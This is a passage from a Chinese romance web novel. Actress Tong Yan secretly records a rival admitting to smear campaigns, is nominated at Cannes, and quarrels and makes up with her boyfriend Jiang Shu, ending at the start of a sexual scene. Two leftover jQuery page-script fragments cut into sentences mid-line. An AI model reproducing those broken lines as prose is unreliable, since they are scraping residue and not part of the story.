“嘻嘻，幸好你来了。”童颜将头歪靠在他肩上，“救人于水火的大善人！” 江述揉了揉她脑袋：“以后不想见的人直接拒绝。” “好的。”她乖乖地应。 江述开车带她回姨妈家，一进门，就受到了热情的接待。 虽然在姨妈心里，童颜和江述分开过，但姨妈对江述的信任很坚固，一直都认为是童颜甩了人家。 好吧，虽然姨妈想的没错，但谁才是自家人啊！ 童颜气哼哼表达过不满，被姨妈一句话镇压了：“你如果不甩了人家，只怕小述这会儿已经是自家人了。” 姨夫是个老实人，一向姨妈说什么是什么，闻言点头表示认同：“你姨妈说的对，以后得好好对人家。” “……”怎么她的风评这么差。 无论如何，这顿饭吃得是宾主尽欢。 江述先是用他帅气的外表和高超的厨艺征服了姨妈。 接着用名贵的茶酒和谦逊的态度征服了姨夫，把姨夫喝得面红耳赤，他自己因为还要上春晚，就以茶代酒了。 最后拿出五套工作室的新年礼盒和一沓子签名照，对赵浔阳说，一点心意，送给你的同事们……轻轻松松拿捏了赵浔阳。 童颜见每个人都有礼物，急忙伸出双手，掌心朝上，问：“我的呢？” 一桌子人都盯着江述，姨妈怕江述尴尬，打了童颜一下。 “嗐，你这个孩子……小述这人都是你的，还要什么礼物！你给人家准备礼物了吗？” ……确实没准备。 童颜悻悻地缩手，却被江述一把拉住了。 他从外套里掏出一个红包，递到她手里，笑着说：“本来想明天给你的，既然你要了，那就现在吧。” “咦？压岁钱呀！” 童颜开心地拆开红包，往里一瞅，顿时愣住了。 是一叠子银行卡，还有一些理财凭据。 “第一次给你压岁钱，也是最后一次。以后家里的财政大权都由你来掌，好不好？” 江述说完看向两位长辈：“姨妈、姨夫，我想跟童颜结婚。当然，这不是正式的求婚，只是提前跟二老和表哥请示一下。我保证，会一辈子对童颜好，尽量让她每天都开开心心的。请二老放心地把她交给我，行吗？” 谁都没想到，江述会突如其来整这么一出。 姨妈和姨夫呆若木鸡。 童颜又羞涩又尴尬，还有点无措，捧着红包像捧着块温泉池里的石头，又暖又沉。 还是赵浔阳先反应过来，哈哈笑了两声说：“这个妹夫，我看很不错，爸，妈，你们觉得呢？” “欸！好、好！只要你们俩感情好，我们做长辈的，还能有什么意见。”说着看向童颜，嗔怪道，“傻愣着做什么？还不收好你的红包。以后啊，可一定得好好待小述，别耍脾气欺负人家，听见了吗？” 童颜张了张嘴，想说点什么，最后弱弱地回了个：“哦。” “好了好了，快吃菜，多吃点，瞧瞧这瘦的……”姨妈笑得跟朵花似的，不停地给江述夹菜。 童颜抿了抿唇，悄悄瞪了江述一眼。 江述在桌下握住她的手，把玩着指尖，眼里蕴满了笑意。 吃完饭，江述要去电视台，顺路先送童颜回家。 车刚离开小区，童颜就开始作，打了江述一巴掌，说：“你都不告诉我，搞得我没心理准备！” “你需要准备什么？准备嫁给我就好了。”江述笑着瞥她一眼。 童颜朝他皱皱鼻子：“哼！谁说要嫁给你了，我还没玩儿够呢！” “那你说，想怎么玩儿，我奉陪。” “我想……”童颜抿唇思量着，睨了他一眼，“多认识几个小哥哥，也许能发现比你……唔！” 江述猛地将车刹停在路边，捧起她脸就亲了下去，凶狠地啃咬，吮得她舌根发皱，气喘吁吁。 “江述……停、停下……” 童颜胡乱拍打他，被他攥住了手，慢慢停下来。 有人脸蛋红得像桃子，脑子直发晕，双眼湿漉漉亮晶晶。 江述又探过头去，吓得她不由自主地往后撤，他笑了笑，按住她脑后，缓缓贴上她唇，轻柔地抚慰一番，说：“再敢胡说八道，还这么罚你！” 童颜气哼哼地偏过脸，一路都没理他。 直到晚间，江述结束春晚直播回来，童颜还在生他气。 江述问她：“看春晚了吗？” “没看！”童颜躺在床上，背对他说。 其实看了，守在电视机前，不停地看节目单，心里想着江述怎么那么靠后啊，怎么还不出来呀…… 江述见把人气大发了，忙凑过去哄。 童颜不买账，往一边搡他：“起开起开！” “为什么生气，不喜欢我亲你？”江述问。 童颜憋了一会儿，说：“你怎么……每次都那么凶残！” 江述一时没说话。 童颜有点奇怪，转过身来看他。 他有点无奈地神色，拇指在她嘴角附近摩挲，叹息轻得几不可闻。 “对着你，我很难控制。”他倾身靠近，啄了下她鼻尖，“宝贝，原谅我吧。” 童颜猛地咬住了唇。 江述很少以这么亲昵的语气说话，还叫她宝贝，每次都是童颜来童颜去的，除非在某些失去理智的特殊时刻，才会这么喊她。 她听得心都化了，仿佛变成一只乖顺的小狗，趴在他手下，任凭他轻柔地抚摸。 “那你以后，嗯……要注意。”她糯糯地说。 他缓缓翘起嘴角，点了点头：“好。”这就算哄好了。 江述将她揽在怀里，让她在肩窝处枕得舒服一些，一室寂静里，轻声说了句：“新年快乐。” 童颜笑着仰头，亲了亲他下颌：“你也是，新年快乐。” * 大年初一到初三，他们有整整三天时间待在一起，除了各自和朋友见面约饭，出了一次门，之后就再没离开过家。 两人一起做饭、看书、看电影，或是江述教童颜弹吉他，可惜她耐性不足，学了不到一个小时就丢下，跑沙发上刷手机去了。 这一刷不要紧，吃到一个有趣的瓜。 有营销号在微博发：某当红三字女星（最近正在塌房那位），抹黑诬陷不好惹二字女星，粉丝超过一千万放锤。 不好惹，正在塌房……这不就是她和孙艺涵嘛！ 童颜想起这几天跟孙艺涵之间的游戏，忍不住翘起嘴角。 先前林慧心勾搭刘梓兮，表示要给她介绍好资源，刘梓兮早不想再给孙艺涵当绿叶，因此暗中向林慧心投诚，说了不少孙艺涵的料。 童颜让人把这些料分批放出去，保证春节期间孙老师持续有热度。 没想到啊，除了她放的那些料，还有人见不得孙艺涵好。 根据童颜的经验，这个声称要放锤的营销号，不过是想讹点钱，就看孙艺涵舍不舍得放血了。 童颜登上小号，想参与一下，这时，收到了孙艺涵的微信。 涵大可爱：「在北京吗？我们见一面。」 你谁啊我请问？凭什么你说见就见……童颜“嘁”了一声，直接拉黑删除。 脏东西，早该进她的垃圾箱了！ 童颜本以为这是个小插曲，过去就过去了，谁知复工进组第二天，孙艺涵就来探她的班了。 还轰动地搞 () { $(''.inform'').remove(); $(''#content'').append('' 了一辆应援车，请剧组所有人喝奶茶。 这还是年前阴阳怪气她的孙老师吗，怎么跑她这来演姐妹情深了？看着孙艺涵发的应援自拍微博，童颜的白眼都快翻上天了。 为免在外边撕得太难看，童颜领她上了自己的车。 门一关上，孙艺涵就说：“‘粉丝超过一千万放锤’的微博，是你找人发的吧？” 哦，原来还有这层误会？童颜乐见其成。 “不要污蔑我哦孙老师。” 童颜把语气和表情拿捏得既含糊不清、让人抓不着把柄，又能传达‘你想的没错’这意思。 孙艺涵看了她一会儿，说：“我猜你没拿到什么有用的料。”说完就紧紧盯着她。 童颜挑了挑眉，问：“或许，你认不认识郑伟呀？” 郑伟就是被孙艺涵买通，经常抹黑童颜那娱记，只要一提这名字，孙艺涵肯定坐不住。 果然，她咬了咬牙说：“我不管你手里有什么，直说吧童颜，怎么才能删掉那些料？” “这样吧。”童颜沉吟道，“你回答我几个问题。” “你说。” “之前网上那些造谣童颜耍大牌、有金主包养，说我校园霸凌、说江述是小三的帖子……是不是你找人做的？” 孙艺涵谨慎地看着她，没说话。 童颜无语地摇了摇头，拿起桌上放的手机，打开录音软件，举到她面前：“好好看看，我没录。说真的，我跟你已经斗烦了，就想听你说几句真话。” 孙艺涵打消了怀疑，沉默片刻说：“我承认，是我做的。” “为什么？我以为《玉京第一春》的时候，我们关系还不错，你对我的恨从何来？” “可能是嫉妒吧。你长得漂亮，走到哪里都是人堆里最亮眼那个，为了你，魏子铭亲自去跟导演协调戏份……明明我才是女主，最后播出时，风头却都是你的，童颜，换成你，你能接受吗？” 童颜扯起嘴角笑了笑：“大概也不能接受，但我会想办法去提升自己，而不是践踏别人。” 孙艺涵转过脸去，没说话。 “一次两次三次也就罢了，倪笑那事上，你剪辑录音，引导网友断章取义，就那么想让童颜这个人消失吗？” “是！我不仅想让你从这个行业消失，还想让你从魏子铭眼前消失！凭什么所有好东西都是你的？我努力了那么久，他眼里都看不见……算了，现在都没有意义了，你直说吧，怎么才能删掉我的料？” 童颜笑了笑，说：“你找错人了，那条微博不是我让人发的，我也从来没联系过郑伟。” 孙艺涵震惊地抬眼，盯着她看了几秒，突然发疯：“童颜！你他妈的敢耍我？！”说着起身朝她脸上抽了过来。 童颜反应很快地架住她手臂，反手就扇了她一个耳光。 “孙艺涵，这一巴掌，是你欠我的！” 童颜说着，从口袋里掏出另一个手机，点开录音软件，播放刚才两人的对话。 孙艺涵捂着被打的一边脸，又惊又怒，牙齿都开始哆嗦。 “我本来，想以牙还牙，把这段录音剪出来发到网上，让大家都看看你的真面目。但刚才你动手那一刻，我忽然改变了主意。你这个人的良心，是指望不上了，我们这么斗下去，也是没完没了的……所以，我不发了，毕竟你现在已经塌得差不多了，我不像你，不喜欢干落井下石的事。但是你记住了，如果网上再出现我的黑料，这条录音就会被公布出去。” 童颜说着自嘲一笑：“说起来，我对你真是有心理阴影了，只要见到你，就会下意识点开录音软件，这不是我们之间唯一一段录音，所以，赶紧走吧，别再让我看见你了。” 孙艺涵怒火冲天，却不敢发一言，转身走到车门旁，却又听童颜道：“以后别再跟我演姐妹情深了，今天的奶茶，回头我经纪人会把钱打给你。” 54. 耀眼 四月十一日，戛纳国际电影节公布入围名单，童颜在伦敦时参演的电影《玛丽一家人》入围主竞赛单元，角逐最高奖项“金棕榈奖”。 消息传回国内，引发社交媒体热议。 这是自童颜回国后，第一次带着作品出现在公众视野。她出国前的作品重新开始传播，业界一片唏嘘，不少大V表示，如果不是遭遇软封杀，作品能够正常播出，童颜这会儿早该跻身一线当红小花之列。 突然之间，有不少本子递了过来，林慧心意气风发。 童颜仍在厦门拍戏，每天出工收工，看上去情绪状态没有太大变化，其实都是装的，早就开心爆炸了，微信里跟江述嚷嚷好几回了。 「啊啊啊啊啊啊好像做梦一样！！」 「我运气也太好了吧！这个金棕榈奖终究是让我给蹭上了hhh」 「江述你说！是哪个女明星人美演技又好啊！」 江述看着满屏的打滚、求夸奖表情包，又好笑又无奈。 可惜不在她身边，不然该好好抱一抱她。 五月中，童颜飞去戛纳参加电影节。 连续两周的时间，几乎每天都有她的热搜。 她穿着漂亮的礼服，出现在红毯、首映、酒会和颁奖礼现场，成为这个五月最耀眼的中国女明星。 回国那天，江述去接机。 车停在首都国际机场2号航站楼前B2区，童颜循着导航找到位置，一上车就被江述抱住了。 “没有获奖，失望吗？”江述问。 童颜参演的影片在角逐中惜败，但仍获得了大量好评，被国内知名影评人赞为“2024最值得期待的外语片，童颜的表现令人刮目相看”。 “一点也不！”她已经很满足了，“这是我进入电影圈的第一个作品，我没那么自大，指望第一次就拿奖，但我相信，会有那么一天的。” 江述抚摸着她脸颊，看着她自信恬淡的笑容，发自内心地骄傲。 他的姑娘，穿越过充斥无数质疑诋毁谩骂的寒冬，终于迎来了平静而耀眼的春日。 “走吧，回家庆祝。” 车子开上机场高速，童颜的电话铃忽然响起。 她疑惑地接起来，听了一会儿，时不时应和两句：“是……谢谢，当然……好的……没问题。” 挂掉电话，江述问：“谁的？” “孟山涛导演。”童颜愣愣地回，“他问我愿不愿意出演电影《一个女人的情书》，说这个项目搁置了三年，今年夏天要重启了，我是他最希望合作的女主角。” 江述笑笑说：“那很好啊。” 童颜却沉默着。 她此刻心情有点复杂。当初因为这个电影，跟孙艺涵争抢撕逼，之后接受了一连串的暴击，以至于现在提起，都感觉心脏抽痛。 说实话，她已经产生了阴影，但在刚刚的电话里，她并没有拒绝。毕竟这是第一个找她出演的电影，而且还是孟山涛的作品。 江述见她情绪低落，大致能猜到几分，正要开口安抚，忽然，他的电话也响了。 点了接通，声音从车载话筒传出。 “你好江述，我是孟山涛。” 童颜惊讶地和江述对视一眼，听他说：“您好孟导。” “打这个电话，是想跟你聊聊我的新作品，《一个女人的情书》。你当初拒绝这个项目，说是因为档期协调不开，但是呢，我从别处听说了些内情。现在就想问问，抛开其他的，单考虑这个作品本身，你愿不愿意加入？” 江述看了看童颜，凝神思索片刻，说：“我加入。” 寒暄几句后，孟山涛挂断了电话。 童颜开心地看着江述：“我们要合作了吗？” “是，我们要合作了。” 童颜激动得手舞足蹈：“你是因为我，才接下这个电影的吗？” 江述抿唇，瞥了她一眼。 童颜又是一阵欢呼雀跃，陡然想起一事，问：“可是你之前，为什么要拒绝这个电影呢？” 江述静了几秒说：“这个剧本原著小说作者，是我母亲。” 童颜震惊得嘴巴张成了一个O，还没闭起来，又听他说：“男主原型，是潘秋生。” 所以，江述的妈妈是作家吗？她一直以为是演员呢…… 怪不得，他们录制《一起生活吧》综艺那晚，听他跟外国人打电话，提到什么“小说”、“版权代理”之类的。 “江述，我一定会好好演。”童颜认真说，“不会毁了这个作品的。” * 进入六月中旬，童颜有两个剧同时进入宣传阶段。 一个是出国前拍摄的《向左向右》，这部作品历经三年封藏，今年终于过审了。还有一个是四月份杀青的《春天花会开》。 除了电视剧宣传之外，她还有一个作品在拍，期间夹杂着大大小小的广告代言、品牌直播……整个六七月份，童颜忙得分身乏术，恨不得一天有48小时。 江述的行程跟她一样满，都挤不出来见面的时间，常常晚上打着视频，童颜就睡了过去。 在这样的高压状态下，童颜跟江述还抽空吵了一架。 原因是两人千方百计对行程，好不容易找出空档可以见面，结果童颜的一个宣传行程突然改期，牵连了其他的工作变动，跟江述的见面只好再协调时间。 最后定了七月二十三，她生日的前一天。 谁知江述那边又出了点变动，他临时要出席演员协会举办的闭门研讨会。 一来二去的，两人都有点暴躁了。 江述多少还能克制，童颜直接在电话里跟他嚷嚷：“你怎么那么讨厌啊！我好不容易抽出时间，你居然放我鸽子！什么工作那么重要，比给你女朋友过生日还重要！” 江述无奈地说：“你讲讲道理好不好？” “你敢说我不讲道理？！”童颜气死了，“我不想跟你说话了！” 说完就挂掉了电话。 再打，电话无法接通。 发微信，消息已发出，但被对方拒收了。 很好。 江述都气笑了。 如此过了两周后，七月的最后一天，江述和童颜终于有共同的行程了。 《春天花会开》播出期主创采访，在北京燕莎凯宾斯基酒店的多媒体影音室。 一个多月没见，明明都很想念对方，偏偏跟冤家似的冷着脸——主要是童颜冷脸。 进门后，两人分别和记者打招呼，是之前采访过江述的《星周刊》主编秦曼，一番寒暄毕，三人落座，秦曼开始按照提纲采访，基本都是围绕电视剧提问的。 期间秦曼夹带私货，半开玩笑半认真地询问两人关系，童颜脆生生答：“朋友啊 () { $(''.inform'').remove(); $(''#content'').append('' ！” 江述眉心微微起皱。 秦曼察觉两人之间气氛不对，感觉有料可挖，于是把本来靠后的问题，往前提了提。 “下一个问题，请问述哥，在《春天》这部剧中，文开航戏份并不多，您当时是出于什么考虑，要接这样一个角色呢？” 秦曼说着看了眼童颜，心想摆明是为女朋友嘛。 童颜默默撇开脸，眼观鼻鼻观心，作蘑菇状。 江述状似无意地扫了她一眼，说：“这个角色身上，有一些特质很吸引我。” “比如呢？” “舔狗、备胎……” 他的语气好像在开玩笑，偏偏每个字又掷地有声，像是牙缝里挤出来的，带着一股子怨念。 童颜身形一顿，转头看他。 江述与她对视，眼底含一丝若有似无的笑意：“……甚至愿意，为爱做三。” “述哥，”秦曼表情僵了下，“你认真的吗？” “我不说假话。”江述神态自若，“童颜老师，应该了解的？” 被问的人一双眼睛里燃起两个小火球，暗暗咬牙，在桌子下面狠狠踩了他一脚。 江述冷不防闷哼一声，在秦曼疑惑的目光里，扯起嘴角笑了一下。 采访结束后，秦曼离开了酒店，江述和童颜却没走。 明天在国家体育馆有一台颁奖晚会，他们都要出席，所以今晚就住这个酒店。 童颜要回客房，被江述拉住了手。 “还生气？” 童颜瞪了他一眼，抬脚就走。她回到房间，江述也跟着进来了。 一进门，就从背后拥住了她。 “我道歉，好不好，原谅我。”他低沉的嗓音，带点轻微的叹息。 童颜不说话。 江述亲了亲她颈侧：“一生气就拉黑我，这个毛病得改掉。快两周联系不上你，知道我什么心情吗？” 呀！他还敢怪她？ 童颜转过身，狠狠捶了他一拳：“是你先说我不讲理的！” 江述照着她的唇亲了一下：“是我不讲理。这么久没见，给我个笑脸吧。” 他低声下气地说话，童颜忍不住心软，但仍然噘着嘴，偏过头不看他。 “你还跟秦曼说，我们是朋友。”江述又加了把火，语带埋怨，“我就那么拿不出手？” 童颜终于感觉心虚，抬眼瞅了他一下。 江述低头，找她的眼睛，试探着说：“讲和了？” 谁知话音刚落，童颜突然吧嗒吧嗒开始掉眼泪。 江述心里一慌，忙捧起她脸：“怎么哭了？” 童颜抽了抽鼻子，埋进他怀里：“我这两个月好忙，好累，也好想你，你还不理我，连我的生日都错过……”她越说越委屈，工作压力积攒到这会儿才爆发，“江述，你好讨厌！” 江述被她哭得心尖直泛酸，紧紧搂着她腰，手掌抚摸着她的发，哄道：“我讨厌，我们不讲和……你想怪我多久都可以，别哭了好不好？” “你是不是，觉得我脾气坏，不喜欢了？”她抬起一双泪眼，神色有几分怀疑。 这个指控太严重了，江述望了望天，问：“你真这么想？” 童颜不说话。 江述直接将她打横抱起，大步走到床边，丢在松软的被子上，边扯她裙子，边俯身压了下去。